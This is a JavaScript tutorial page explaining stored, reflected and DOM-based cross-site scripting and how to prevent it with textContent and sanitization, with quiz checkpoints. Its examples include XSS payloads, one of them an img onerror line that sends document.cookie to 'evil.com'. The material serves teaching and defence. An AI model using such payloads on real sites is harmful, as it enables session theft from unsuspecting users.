Cross-Site Scripting (XSS) lets an attacker run their own JavaScript inside your page, in your users' browsers, using your site's own trust and permissions. Understanding exactly how it happens is the first step to preventing it.
1XSS Basics | JavaScript Tutorial - In-Depth Guide Part 1
XSS happens when untrusted data (often user input) gets inserted into a page in a way that the browser interprets as executable HTML or JavaScript, instead of as plain text.
// If `comment` contains: <script>stealCookies()</script>
element.innerHTML = comment; // the script tag actually EXECUTESThe Web's Most Common Vulnerability
2XSS Basics | JavaScript Tutorial - In-Depth Guide Part 2
'Stored XSS' happens when malicious input is saved on the server (like in a database) and later served back to other users, executing in every victim's browser who views that content.
// A comment saved to a database containing:
// <img src=x onerror="fetch('https://evil.com/steal?c=' + document.cookie)">
// executes for EVERY user who later views that commentStored XSS
3XSS Basics | JavaScript Tutorial - In-Depth Guide Part 3
'Reflected XSS' happens when malicious input comes from the current request (like a URL query parameter) and is immediately echoed back into the page's HTML without sanitization.
// URL: https://example.com/search?q=<script>stealCookies()</script>
// If the page does: `Results for: ${queryParam}` directly into innerHTML,
// the script executes for whoever clicks that crafted linkReflected XSS
4XSS Basics | JavaScript Tutorial - In-Depth Guide Part 4
'DOM-based XSS' happens entirely on the client side — JavaScript itself reads untrusted data (like from location.hash or a URL parameter) and unsafely inserts it into the DOM, with no server involvement at all.
// Entirely client-side:
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Hello, ${name}!`; // vulnerableDOM-Based XSS
5XSS Basics | JavaScript Tutorial - In-Depth Guide Part 5
The universal root cause across all three categories: inserting untrusted data into HTML (via innerHTML or similar) without escaping/sanitizing it first — the fix is always some form of treating untrusted data as text, never as markup.
// Vulnerable:
el.innerHTML = userInput;
// Safe: treats userInput strictly as text, never as markup
el.textContent = userInput;The Universal Root Cause
6Step-by-Step Breakdown
XSS happens when untrusted data (often user input) gets inserted into a page in a way that the browser interprets as executable HTML or JavaScript, instead of as plain text.
'Stored XSS' happens when malicious input is saved on the server (like in a database) and later served back to other users, executing in every victim's browser who views that content.
Checkpoint: Does stored XSS typically affect only the attacker, or every user who later views the compromised content?
- →Every user who later views the affected content
- →Only the original attacker who submitted it
'Reflected XSS' happens when malicious input comes from the current request (like a URL query parameter) and is immediately echoed back into the page's HTML without sanitization.
'DOM-based XSS' happens entirely on the client side — JavaScript itself reads untrusted data (like from location.hash or a URL parameter) and unsafely inserts it into the DOM, with no server involvement at all.
Checkpoint: Can DOM-based XSS occur even if a website has no server-side vulnerabilities at all?
- →Yes, since it lives entirely in client-side JavaScript
- →No, it always requires a server-side flaw too
The universal root cause across all three categories: inserting untrusted data into HTML (via innerHTML or similar) without escaping/sanitizing it first — the fix is always some form of treating untrusted data as text, never as markup.
Next, we'll explore 'Safe DOM Manipulation'.
Level Up 🚀
Advanced cheat sheets, SEO tricks, and interview prep for this topic.
Browser Support
Fully supported.
Fully supported.
Fully supported.
Fully supported.
Accessibility (A11y)
1XSS Prevention and Accessible Rich-Text Rendering Can Coexist
When user content genuinely needs formatting (bold, links) for readability, a sanitization library that allows a safe HTML subset (rather than banning all markup) lets you preserve both security and the semantic HTML structure that assistive technology relies on.
SEO Implications
- 1
A Successful XSS Attack Can Lead to Search Engine Blacklisting
If an XSS vulnerability is exploited to inject spam links, malware, or redirect scripts into indexed pages, search engines can flag and blacklist the affected domain, causing severe, hard-to-reverse SEO damage.
Best Practices
Treat All User-Generated and URL-Derived Data as Untrusted by Default
Comments, usernames, search queries, and URL parameters are all potential injection points; assume any of them could contain a malicious payload until proven otherwise.
Prefer textContent Over innerHTML Whenever Displaying Plain Text
textContent never parses its input as HTML, making it immune to injection for any content that is genuinely meant to be plain text rather than formatted markup.
Frequent Bugs
Rendering a user's display name or bio directly with innerHTML, allowing an attacker to register an account with a name like `<img src=x onerror=alert(1)>`.
Use textContent for any user-supplied text that is not meant to contain HTML, or run genuinely HTML-containing content through a trusted sanitization library first.
Reading a value from the URL (query parameter or hash) and inserting it into the page without any escaping, creating a DOM-based XSS vulnerability that requires no server-side flaw at all.
Treat any value derived from the URL as untrusted input, exactly like user-submitted form data, and sanitize/escape it before rendering.
Real-World Examples
A Vulnerable Comment Section
A blog's comment feature rendered user comments directly with innerHTML, allowing an attacker to post a comment containing a script tag that stole other visitors' session cookies.
// Vulnerable:
commentEl.innerHTML = comment.text;
// Fixed:
commentEl.textContent = comment.text; // or a proper sanitizer if HTML formatting is needed